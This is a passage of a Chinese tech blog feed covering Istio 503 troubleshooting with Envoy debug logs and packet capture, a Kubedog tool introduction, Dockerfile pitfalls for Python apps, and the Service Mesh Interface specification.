&lt;h2 id=&#34;istio-proxy-debug-日志&#34;&gt;istio-proxy debug 日志&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;istio-proxy&lt;/code&gt; 能够在运行时修改日志级别，对排除这类问题很有帮助。所以我们把这些日志设置为 &lt;code&gt;debug&lt;/code&gt; 级别：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;kubectl exec -n sauron-seo-app sauron-seo-app-7667b9b7dc-jd3vg -c istio-proxy -- curl -XPOST -s -o /dev/null http://localhost:15000/logging?level=debug
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看看是否能有所斩获。&lt;/p&gt;

&lt;p&gt;修改日志级别后，可以用 &lt;code&gt;tail&lt;/code&gt; 来查看一下日志（可能有非常多的输出）。会看到 503 的相关内容：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;[2019-05-30 08:24:09.206][34][debug][router] [external/envoy/source/common/router/router.cc:644] [C77][S184434754633764276] upstream reset: reset reason connection termination

[2019-05-30 08:24:09.206][34][debug][filter] [src/envoy/http/mixer/filter.cc:133] Called Mixer::Filter : encodeHeaders 2

[2019-05-30 08:24:09.206][34][debug][http] [external/envoy/source/common/http/conn_manager_impl.cc:1305] [C77][S184434754633764276] encoding headers via codec (end_stream=false):
 &#39;:status&#39;, &#39;503&#39;
 &#39;content-length&#39;, &#39;95&#39;
 &#39;content-type&#39;, &#39;text/plain&#39;
 &#39;date&#39;, &#39;Thu, 30 May 2019 08:24:08 GMT&#39;
 &#39;server&#39;, &#39;istio-envoy&#39;


[2019-05-30 08:24:09.208][34][debug][connection] [external/envoy/source/common/network/connection_impl.cc:502] [C77] remote close

[2019-05-30 08:24:09.208][34][debug][connection] [external/envoy/source/common/network/connection_impl.cc:183] [C77] closing socket: 0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里我们看到了 503 出现在连接 &lt;code&gt;[C77]&lt;/code&gt; 上。如果我们后退一下，会看到 &lt;code&gt;[C77]&lt;/code&gt; 连接上还有一段：&lt;code&gt;upstream reset: reset reason connection termination&lt;/code&gt;。 istio-proxy 告诉我们，上游复位了 77 号连接（这里的上游指的就是应用程序）。这进一步证实了，Envoy 认为 &lt;code&gt;sauron-seo-app&lt;/code&gt; 关闭了连接。&lt;/p&gt;

&lt;h2 id=&#34;抓包&#34;&gt;抓包&lt;/h2&gt;

&lt;p&gt;目前为止，我们用了很多的 Istio 和 Envoy 提供的功能，我们大概知道，很可能是目标应用断掉了连接。是时候开始抓包来进一步研究了。&lt;/p&gt;

&lt;p&gt;为了在 Kubernetes 上完成这个工作。我们使用了一个叫做 &lt;a href=&#34;https://github.com/eldadru/ksniff&#34; target=&#34;_blank&#34;&gt;ksniff&lt;/a&gt;，我得说，这个工具太棒了。因为我们运行的是非特权容器，因此无法在应用中进行 &lt;code&gt;tcpdump&lt;/code&gt;。ksniff 可以：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;检查你的目标应用运行在哪个节点上。&lt;/li&gt;
&lt;li&gt;部署一个和这个节点有亲和的 Pod，绑定到 Host network。&lt;/li&gt;
&lt;li&gt;从特权应用对流量进行 TCP Dump，并把流量发送回你笔记本上的 Wireshark。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;TCP Dump 很吵，所以我们会做一下过滤：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;我们关注的是 TCP 连接相关的事件，所以只需要看 &lt;code&gt;SYN&lt;/code&gt;、&lt;code&gt;FIN&lt;/code&gt; 和 &lt;code&gt;RST&lt;/code&gt;。&lt;/li&gt;

&lt;li&gt;&lt;p&gt;我们要观察的是本地 Envoy 和应用之间的流量，我们只想关注 &lt;code&gt;localhost&lt;/code&gt;，所以 &lt;code&gt;-i lo&lt;/code&gt; 就可以只查看 loopback 适配器了。&lt;/p&gt;

&lt;p&gt;kubectl sniff $pod -p -n $namespace -c istio-proxy -f &amp;lsquo;tcp[tcpflags] &amp;amp; (tcp-syn|tcp-fin|tcp-rst) != 0&amp;rsquo; -i lo&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我们很快就能看到 &lt;code&gt;RST&lt;/code&gt;，表明的确是我们的应用关闭了连接。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/thumbnail_image003.png&#34; alt=&#34;whireshark&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这就很清楚了，Envoy 应该能够处理上游的关闭连接。然而在极少数情况（0.003%）下，我们发现 Envoy 尝试向被应用关闭的连接中发送数据。Istio 团队还在尝试理解这种情况发生的原因（似乎是在服务端发送 &lt;code&gt;RST&lt;/code&gt; 和 Envoy 复用连接池中的连接的过程中发生的争用），并能够更好的处理这种场景（1.1.8 之后）。&lt;/p&gt;

&lt;p&gt;Istio 成员发现，在连接开始（&lt;code&gt;SYN&lt;/code&gt;）和复位（&lt;code&gt;RST&lt;/code&gt;）之间，总有五秒左右的间隔。&lt;/p&gt;

&lt;p&gt;我们的服务器是 nodejs，Google 搜索发现了 &lt;a href=&#34;https://nodejs.org/api/http.html#http_server_keepalivetimeout&#34; target=&#34;_blank&#34;&gt;Nodejs 文档&lt;/a&gt;中的一段内容：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;以毫秒为单位的超时时间，缺省值 5000（5秒）：服务器在处理完最后一个响应之后，等待新数据进入的时间，如果超过这一时间都未进行活动，就会销毁该 Socket。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;由上述文档看来，虽然 Envoy 为应用创建了连接池，但是应用会在发呆 5 秒钟之后销毁 Socket。这个超时太短了。&lt;/p&gt;

&lt;h2 id=&#34;tcp-socket-超时&#34;&gt;TCP Socket 超时&lt;/h2&gt;

&lt;p&gt;我们做了一番挖掘，我们发现不止在 Nodejs 中有这种情况，Python 应用、Java/Tomecat 都有这种问题。缺省设置如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;nodejs：5 秒&lt;/li&gt;
&lt;li&gt;python：10 秒&lt;/li&gt;
&lt;li&gt;tomcat：20 秒&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;所以 Socket 超时越短，&lt;code&gt;RST&lt;/code&gt; 就会越多，也就会有越多的 503 问题。&lt;/p&gt;

&lt;p&gt;Istio 团队正在积极的寻求改进方法，我们发现可以简单的设置一个更高的 Socket 超时时间来解决这一问题。&lt;/p&gt;

&lt;h3 id=&#34;nodejs&#34;&gt;Nodejs&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-js&#34;&gt;const server = app.listen(port, &#39;0.0.0.0&#39;, () =&amp;gt; {
  logger.info(`App is now running on http://localhost:${port}`)
})
server.keepAliveTimeout = 1000 * (60 * 6) // 6 minutes
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;python&#34;&gt;Python&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;global_config = {
  &#39;server.socket_timeout&#39;: 6 * 60,
}
cherrypy.config.update(global_config)
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;java-spring&#34;&gt;Java-Spring&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;server:
  connect-timeout: 360000
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下图就是我们修复问题的结果：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/Screenshot-2019-05-31-at-16.36.43.png&#34; alt=&#34;result&#34; /&gt;&lt;/p&gt;

&lt;p&gt;我知道 Istio 团队正在努力改进这方面的 UX 问题，尽可能高效的处理这类场景，让 Istio 为更多用户提供开箱可用的高性能表现。所以我很相信他会越来越好。&lt;/p&gt;

&lt;p&gt;感谢 Chris McKean 和 Istio 社区的朋友们，他们在没有经历这种问题的情况下，依然提供了无私的帮助。希望这个排查过程能够对读者的工作有所助益。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>介绍一个小工具：Kubedog</title>
      <link>/post/intro-kubedog/</link>
      <pubDate>Sun, 02 Jun 2019 14:59:25 +0800</pubDate>
      <guid>/post/intro-kubedog/</guid>
      <description>

&lt;p&gt;&lt;a href=&#34;https://github.com/flant/kubedog&#34; target=&#34;_blank&#34;&gt;Kubedog&lt;/a&gt; 是一个开源的 Golang 项目，使用 watch 方式对 Kubernetes 资源进行跟踪，能够方便的用于日常运维和 CI/CD 过程之中，项目中除了一个 CLI 小工具之外，还提供了一组 SDK，用户可以将其中的 Watch 功能集成到自己的系统之中。安装过程非常简单，在项目网页直接下载即可。&lt;/p&gt;

&lt;p&gt;Kubedog CLI 有两个功能：&lt;code&gt;rollout track&lt;/code&gt; 和 &lt;code&gt;follow&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;rollout-track&#34;&gt;rollout track&lt;/h2&gt;

&lt;p&gt;在 Kubernetes 上运行应用时，通常的做法是使用 &lt;code&gt;kubectl apply&lt;/code&gt; 提交 YAML 之后，使用 &lt;code&gt;kubectl get -w&lt;/code&gt; 或者 &lt;code&gt;watch kubectl get&lt;/code&gt; 之类的命令等待 Pod 启动。如果启动成功，则进行测试等后续动作；如果启动失败，就需要用 &lt;code&gt;kubectl logs&lt;/code&gt;、&lt;code&gt;kubectl describe&lt;/code&gt; 等命令来查看失败原因。kubedog 能在一定程度上简化这一过程。&lt;/p&gt;

&lt;p&gt;例如使用 &lt;code&gt;kubectl run&lt;/code&gt; 命令创建一个新的 Deployment 资源，并使用 &lt;code&gt;kubedog&lt;/code&gt; 跟进创建进程：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl run nginx --image=nginx22
...
deployment.apps/nginx created

$ kubedog rollout track deployment nginx
# deploy/nginx added
# deploy/nginx rs/nginx-6cc78cbf64 added
# deploy/nginx po/nginx-6cc78cbf64-8pnjz added
# deploy/nginx po/nginx-6cc78cbf64-8pnjz nginx error: ImagePullBackOff: Back-off pulling image &amp;quot;nginx22&amp;quot;
deploy/nginx po/nginx-6cc78cbf64-8pnjz nginx failed: ImagePullBackOff: Back-off pulling image &amp;quot;nginx22&amp;quot;

$ echo $?
130
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;很方便的看出，运行失败的状态及其原因，并且可以使用返回码来进行判断，方便在 Pipeline 中的运行。接下来可以使用 &lt;code&gt;kubectl edit&lt;/code&gt; 命令编辑 Deployment，修改正确的镜像名称。然后再次进行验证：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl edit deployment nginx
deployment.extensions/nginx edited
$ kubedog rollout track deployment nginx
# deploy/nginx added
# deploy/nginx rs/nginx-dbddb74b8 added
# deploy/nginx po/nginx-dbddb74b8-x4nkm added
# deploy/nginx event: po/nginx-dbddb74b8-x4nkm Pulled: Successfully pulled image &amp;quot;nginx&amp;quot;
# deploy/nginx event: po/nginx-dbddb74b8-x4nkm Created: Created container
# deploy/nginx event: po/nginx-dbddb74b8-x4nkm Started: Started container
# deploy/nginx event: ScalingReplicaSet: Scaled down replica set nginx-6cc78cbf64 to 0
# deploy/nginx become READY
$ echo $?
0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;修改完成，重新运行 kubedog，会看到成功运行的情况，并且返回值也变成了 0。&lt;/p&gt;

&lt;h2 id=&#34;follow&#34;&gt;follow&lt;/h2&gt;

&lt;p&gt;follow 命令的功能和 &lt;a href=&#34;https://github.com/johanhaleby/kubetail&#34; target=&#34;_blank&#34;&gt;kubetail&lt;/a&gt; 的功能有少量重叠，可以用 Deployment/Job/Daemonset 等为单位，查看其中所有 Pod 的日志，例如前面用的 Nginx，如果有访问的话，就会看到如下结果：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubedog follow deployment nginx
# deploy/nginx appears to be ready
# deploy/nginx rs/nginx-6cc78cbf64 added
# deploy/nginx new rs/nginx-dbddb74b8 added
# deploy/nginx rs/nginx-dbddb74b8(new) po/nginx-dbddb74b8-x4nkm added
# deploy/nginx rs/nginx-6cc54845d9 added
# deploy/nginx event: ScalingReplicaSet: Scaled up replica set nginx-6cc54845d9 to 1
# deploy/nginx rs/nginx-6cc54845d9(new) po/nginx-6cc54845d9-nhlvs added
# deploy/nginx event: po/nginx-6cc54845d9-nhlvs Pulling: pulling image &amp;quot;nginx:alpine&amp;quot;
# deploy/nginx event: po/nginx-6cc54845d9-nhlvs Pulled: Successfully pulled image &amp;quot;nginx:alpine&amp;quot;
# deploy/nginx event: po/nginx-6cc54845d9-nhlvs Created: Created container
# deploy/nginx event: po/nginx-6cc54845d9-nhlvs Started: Started container
# deploy/nginx event: ScalingReplicaSet: Scaled down replica set nginx-dbddb74b8 to 0
# deploy/nginx become READY
# deploy/nginx event: po/nginx-dbddb74b8-x4nkm Killing: Killing container with id docker://nginx:Need to kill Pod
&amp;gt;&amp;gt; deploy/nginx rs/nginx-dbddb74b8 po/nginx-dbddb74b8-x4nkm nginx

&amp;gt;&amp;gt; deploy/nginx rs/nginx-6cc54845d9(new) po/nginx-6cc54845d9-nhlvs nginx
127.0.0.1 - - [02/Jun/2019:11:35:08 +0000] &amp;quot;GET / HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget&amp;quot; &amp;quot;-&amp;quot;
127.0.0.1 - - [02/Jun/2019:11:35:11 +0000] &amp;quot;GET / HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget&amp;quot; &amp;quot;-&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;项目地址&#34;&gt;项目地址&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;https://github.com/flant/kubedog&lt;/code&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>多数 Dockerfile 示例可能都不够严谨</title>
      <link>/post/broken-by-default/</link>
      <pubDate>Wed, 29 May 2019 13:22:44 +0800</pubDate>
      <guid>/post/broken-by-default/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://pythonspeed.com/articles/dockerizing-python-is-hard/&#34; target=&#34;_blank&#34;&gt;Broken by default: why you should avoid most Dockerfile examples&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;mailto://itamar@pythonspeed.com&#34; target=&#34;_blank&#34;&gt;Itamar Turner-Trauring&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;想把 Python 应用打包成 Docker 镜像，很自然的行为就是上网搜个例子。简单的一搜，就能得出大量简单易懂的结果。&lt;/p&gt;

&lt;p&gt;不幸的是这些简单方便的例子经常是有一些这样那样的缺陷，有的显而易见，有的可能就不那么明显了。为了发掘这些问题，本文中将要：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;用一个在 Google 搜索结果中常见的 Dockerfile 开始。&lt;/li&gt;
&lt;li&gt;展示其中的问题。&lt;/li&gt;
&lt;li&gt;给出一些修复问题的建议。&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;本文的 Docerfile 仅用于解决这里发现的问题，不能算作最佳实践。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;先天不足&#34;&gt;先天不足&lt;/h2&gt;

&lt;p&gt;看看下面的 Dockerfile，这是一个网上搜到的 Python 的容器化例子。做了一点点修改，来隐藏其出处，不过主干是一致的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;# DO NOT USE THIS DOCKERFILE AS AN EXAMPLE, IT IS BROKEN
FROM python:3

COPY yourscript.py /

RUN pip install flask

CMD [ &amp;quot;python&amp;quot;, &amp;quot;./yourscript.py&amp;quot; ]
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;这个-dockerfile-的一些问题&#34;&gt;这个 Dockerfile 的一些问题&lt;/h2&gt;

&lt;p&gt;这个镜像中你能看到什么问题？&lt;/p&gt;

&lt;h3 id=&#34;问题-1-python-版本的不确定性&#34;&gt;问题 1：Python 版本的不确定性&lt;/h3&gt;

&lt;p&gt;这里第一个需要注意的问题是，基础镜像是：&lt;code&gt;python:3&lt;/code&gt;。在编写这个文件的时候，会安装 Python 3.7，但是可能未来某一天的重新构建，可能会变成 Python 3.8。这种版本切换，可能会让这一应用完全无法运行，从而打断了产品的交付过程。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;建议&lt;/strong&gt;：使用 &lt;code&gt;python:3.7&lt;/code&gt; 作为基镜像。&lt;/p&gt;

&lt;h3 id=&#34;问题-2-依赖库版本的不确定性&#34;&gt;问题 2：依赖库版本的不确定性&lt;/h3&gt;

&lt;p&gt;这里的 &lt;code&gt;pip install flask&lt;/code&gt;，没有包含版本信息，所以每次重新构建，都可能升级成最新的 flask（或者 flask 的依赖，又或者 flask 的依赖的依赖）。保持兼容自然没问题，否则的话麻烦就大了。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;建议&lt;/strong&gt;：创建 &lt;code&gt;requirements.txt&lt;/code&gt;，其中记载所有依赖的版本号，可以用 &lt;a href=&#34;https://hynek.me/articles/python-app-deps-2018/&#34; target=&#34;_blank&#34;&gt;pip-tools&lt;/a&gt; 完成这一任务。&lt;/p&gt;

&lt;h3 id=&#34;问题-3-代码的变更会让构建缓存失效&#34;&gt;问题 3：代码的变更会让构建缓存失效&lt;/h3&gt;

&lt;p&gt;Docker 的层缓存对提高构件速度很有帮助。但是如果把 &lt;code&gt;COPY&lt;/code&gt; 操作放在 &lt;code&gt;pip install&lt;/code&gt; 前面，所有后续的层就都失效了，也就是说这一镜像会完全重新构建。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;建议&lt;/strong&gt;：在合适的时机进行文件复制。&lt;/p&gt;

&lt;h3 id=&#34;问题-4-用-root-身份运行&#34;&gt;问题 4：用 root 身份运行&lt;/h3&gt;

&lt;p&gt;缺省情况下，Docker 容器是用 root 身份运行的，这&lt;a href=&#34;http://canihaznonprivilegedcontainers.info/&#34; target=&#34;_blank&#34;&gt;并不安全&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;建议&lt;/strong&gt;：如果不是有特定需要，例如监听 1024 以下的端口或者完成一些必须 root 身份的操作，建议使用非 root 账号。&lt;/p&gt;

&lt;h2 id=&#34;改良版本&#34;&gt;改良版本&lt;/h2&gt;

&lt;p&gt;为了解决上面发现的几个问题，对 Dockerfile 做出如下修改：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM python:3.7

COPY requirements.txt /tmp/

RUN pip install -r /tmp/requirements.txt

RUN useradd --create-home appuser
WORKDIR /home/appuser
USER appuser

COPY yourscript.py .

CMD [ &amp;quot;python&amp;quot;, &amp;quot;./yourscript.py&amp;quot; ]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样改进了之后，也并不是就适合在生产环境中运行了，这个镜像还有一些不足。&lt;/p&gt;

&lt;p&gt;例如，用一种受控的方式来对 &lt;code&gt;requirements.txt&lt;/code&gt; 进行常规更新，以便进行安全更新和 Bug 修复，可能还要&lt;a href=&#34;https://pythonspeed.com/articles/docker-cache-insecure-images/&#34; target=&#34;_blank&#34;&gt;禁用缓存对镜像进行周期性重建&lt;/a&gt;，来获取安全加固。&lt;/p&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pythonspeed.com/articles/docker-cache-insecure-images/&#34; target=&#34;_blank&#34;&gt;https://pythonspeed.com/articles/docker-cache-insecure-images/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://docs.docker.com/develop/develop-images/dockerfile_best-practices/&#34; target=&#34;_blank&#34;&gt;https://docs.docker.com/develop/develop-images/dockerfile_best-practices/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://hynek.me/articles/python-app-deps-2018/&#34; target=&#34;_blank&#34;&gt;https://hynek.me/articles/python-app-deps-2018/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>意外：Servicemesh Interface（SMI）</title>
      <link>/post/servicemesh-interface/</link>
      <pubDate>Tue, 21 May 2019 23:08:25 +0800</pubDate>
      <guid>/post/servicemesh-interface/</guid>
      <description>

&lt;p&gt;在今天的 Kubecon（2019.05.21）上，微软宣布了一个新名词：Service Mesh Interface，简称 SMI，是一个运行于 Kubernetes 之上的服务网格规范，定义了一个能够被多个厂商实现的通用标准，其中包含了能够满足绝大多数通用需求的基本特性。&lt;/p&gt;

&lt;h2 id=&#34;设计重点&#34;&gt;设计重点&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Kubernetes 服务网格的标准接口。&lt;/li&gt;
&lt;li&gt;实现最通用的服务网格用例支持。&lt;/li&gt;
&lt;li&gt;能够支持新晋厂商加入的兼容能力。&lt;/li&gt;
&lt;li&gt;建立有创新空间的生态系统，促进服务网格技术的发展。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;规范内容&#34;&gt;规范内容&lt;/h2&gt;

&lt;p&gt;SMI 中定义了一组描述能力很有限的对象，用于进行服务网格的控制。的确如前文所说的设计重点一样，仅考虑了最核心（也就是最少）的功能支持，以兼容目前和未来的可能有的网格产品。&lt;/p&gt;

&lt;h3 id=&#34;流量规范&#34;&gt;流量规范&lt;/h3&gt;

&lt;p&gt;这一组 API 对 HTTP 和 TCP 服务自身进行了定义，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: specs.smi-spec.io/v1alpha1
kind: HTTPRouteGroup
metadata:
  name: the-routes
matches:
- name: metrics
  pathRegex: &amp;quot;/metrics&amp;quot;
  methods:
  - GET
- name: health
  pathRegex: &amp;quot;/ping&amp;quot;
  methods: [&amp;quot;*&amp;quot;]
---
apiVersion: specs.smi-spec.io/v1alpha1
kind: TCPRoute
metadata:
  name: tcp-route
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;观察这一段代码样本，其 HTTP 部分，对服务端的路径、动作都做能做出详细的定义。未来这里还将加入对 Header 和 gRPC 的支持，SMI 发起者们认为这是一个很方便利用 OpenAPI 等工具自动生成的部分。它是一个基础，可以用于访问控制、频率限制等高级功能。&lt;/p&gt;

&lt;h3 id=&#34;访问控制&#34;&gt;访问控制&lt;/h3&gt;

&lt;p&gt;SMI 提供了一个很简单的访问控制功能，同样是使用 CRD 的方式，例如下面的代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: TrafficTarget
apiVersion: access.smi-spec.io/v1alpha1
metadata:
 name: path-specific
 namespace: default
destination:
 kind: ServiceAccount
 name: service-a
 namespace: default
 port: 8080
specs:
- kind: HTTPRouteGroup
  name: the-routes
  matches:
    - metrics
sources:
- kind: ServiceAccount
  name: prometheus
  namespace: default
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里可以看到，利用 &lt;code&gt;sources&lt;/code&gt; 和 &lt;code&gt;destination&lt;/code&gt;，对服务的访问能力进行了限制。这两个定义来看，只能包含网格内调用，尚无对 Ingress/Egress 流量的支持。&lt;/p&gt;

&lt;h3 id=&#34;流量拆分&#34;&gt;流量拆分&lt;/h3&gt;

&lt;p&gt;前面提到，流量拆分是在流量规范的基础上定义的，因此其定义相对简单：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: split.smi-spec.io/v1alpha1
kind: TrafficSplit
metadata:
  name: foobar-rollout
spec:
  service: foobar
  backends:
  - service: foobar-v1
    weight: 1
  - service: foobar-v2
    weight: 0m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里的服务定义和 Istio 不同，这个对象的候选访问目标，是&lt;strong&gt;选择条件重叠的一组独立服务&lt;/strong&gt;。典型工作流：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;名为 &lt;code&gt;foobar-v1&lt;/code&gt; 的 Deployment，标签为 &lt;code&gt;app: foobar&lt;/code&gt; &lt;code&gt;version: v1&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;服务 &lt;code&gt;foobar&lt;/code&gt;，选择器定义为 &lt;code&gt;app: foobar&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;服务 &lt;code&gt;foobar-v1&lt;/code&gt;，选择标准为 &lt;code&gt;app:foobar&lt;/code&gt; 且 &lt;code&gt;version: v1&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;客户端使用 &lt;code&gt;foobar&lt;/code&gt; 的 FQDN 来完成访问。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;要调整流量分拆，只需调整 &lt;code&gt;backends&lt;/code&gt; 中不同后端服务的权重即可。&lt;/p&gt;

&lt;h3 id=&#34;流量监控&#34;&gt;流量监控&lt;/h3&gt;

&lt;p&gt;指标数据的核心分为两个对象种类：&lt;code&gt;resource&lt;/code&gt; 和 &lt;code&gt;edge&lt;/code&gt;，&lt;code&gt;resource&lt;/code&gt; 代表 &lt;code&gt;pod&lt;/code&gt;、&lt;code&gt;namespace&lt;/code&gt;、&lt;code&gt;node&lt;/code&gt; 等对象，而 &lt;code&gt;edge&lt;/code&gt; 则描述了流量的方向。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: metrics.smi-spec.io/v1alpha1
kind: TrafficMetrics
# See ObjectReference v1 core for full spec
resource:
  name: foo-775b9cbd88-ntxsl
  namespace: foobar
  kind: Pod
edge:
  direction: to
  resource:
    name: baz-577db7d977-lsk2q
    namespace: foobar
    kind: Pod
timestamp: 2019-04-08T22:25:55Z
window: 30s
metrics:
- name: p99_response_latency
  unit: seconds
  value: 10m
- name: p90_response_latency
  unit: seconds
  value: 10m
- name: p50_response_latency
  unit: seconds
  value: 10m
- name: success_count
  value: 100
- name: failure_count
  value: 100
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;监控资源除了满足 Prometheus 等监控系统的使用之外，还能对服务拓扑、集群资源监控以及金丝雀发布等功能提供数据支持。&lt;/p&gt;

&lt;h2 id=&#34;参与厂商&#34;&gt;参与厂商&lt;/h2&gt;

&lt;p&gt;下图是这一新组织的合作方（&lt;strong&gt;没有 Google 好奇怪&lt;/strong&gt;）：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/partners.png&#34; alt=&#34;partners&#34; /&gt;&lt;/p&gt;

&lt;p&gt;其中多数厂商大家都非常熟悉了，有几个补充一下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Solo.io：产品面很广，除了 Service Mesh 方面大有名气的 SuperGloo 和 Service Mesh hub 之外，还有远程调试、混沌工程、unikernels 以及微服务网关等几个产品。&lt;/li&gt;
&lt;li&gt;Mesery 和 Kinvolk：近期都发表了 Istio vs Linkerd 的性能测试报告。&lt;/li&gt;
&lt;li&gt;Canonical：Ubuntu 母公司。&lt;/li&gt;
&lt;li&gt;Kubecost：对 Kubernetes 集群进行成本分析。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Solo.io 的 Service Mesh Hub 和 SuperGloo 已经更新，宣布对 SMI 的支持。&lt;/p&gt;

&lt;p&gt;根据 Github 的数据，目前贡献前两名分别是 Buoyant 和 HashiCorp。&lt;/p&gt;

&lt;h2 id=&#34;读后感&#34;&gt;读后感&lt;/h2&gt;

&lt;p&gt;在去年 InfoQ 的 《Service Mesh2018年度总结》一文中有这么一段话：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Service Mesh 这一技术的广阔前景，加上 Istio 的疲弱表现，吸引了更多对此技术具有强烈需求或相关技术储备的竞争者出现，除了 AWS 、 F5 这样的公有云方案，以及 Consul、Kong 等同类软件解决方案，还出现了 Solo.io 这样的更加激进的跨云方案加入战团。
Service Mesh技术的浪潮已将业界席卷其中，然而这一年来，角逐者有增无减，2019 年里，Istio 仍是关键——除非 Istio 能够做出符合顶尖项目的水准，否则，Service Mesh 技术很可能会以多极化、市场细分的形式落地。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;好像我们猜到了开头，猜错了结局？&lt;/p&gt;

&lt;h2 id=&#34;参考&#34;&gt;参考&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://link.medium.com/zsUhK6OgSW&#34; target=&#34;_blank&#34;&gt;https://link.medium.com/zsUhK6OgSW&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/deislabs/smi-spec&#34; target=&#34;_blank&#34;&gt;https://github.com/deislabs/smi-spec&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://msft.today/hello-service-mesh-interface-smi-a-specification-for-service-mesh-interoperability/&#34; target=&#34;_blank&#34;&gt;https://msft.today/hello-service-mesh-interface-smi-a-specification-for-service-mesh-interoperability/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://skyao.io/publication/201902-service-mesh-2018-summary/&#34; target=&#34;_blank&#34;&gt;https://skyao.io/publication/201902-service-mesh-2018-summary/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Istio 和 Linkerd 的性能测试分析</title>
      <link>/post/performance-benchmark-analysis-of-istio-and-linkerd/</link>
      <pubDate>Sun, 19 May 2019 13:29:38 +0800</pubDate>
      <guid>/post/performance-benchmark-analysis-of-istio-and-linkerd/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kinvolk.io/blog/2019/05/performance-benchmark-analysis-of-istio-and-linkerd/&#34; target=&#34;_blank&#34;&gt;Performance Benchmark Analysis of Istio and Linkerd&lt;/a&gt;&lt;/p&gt;

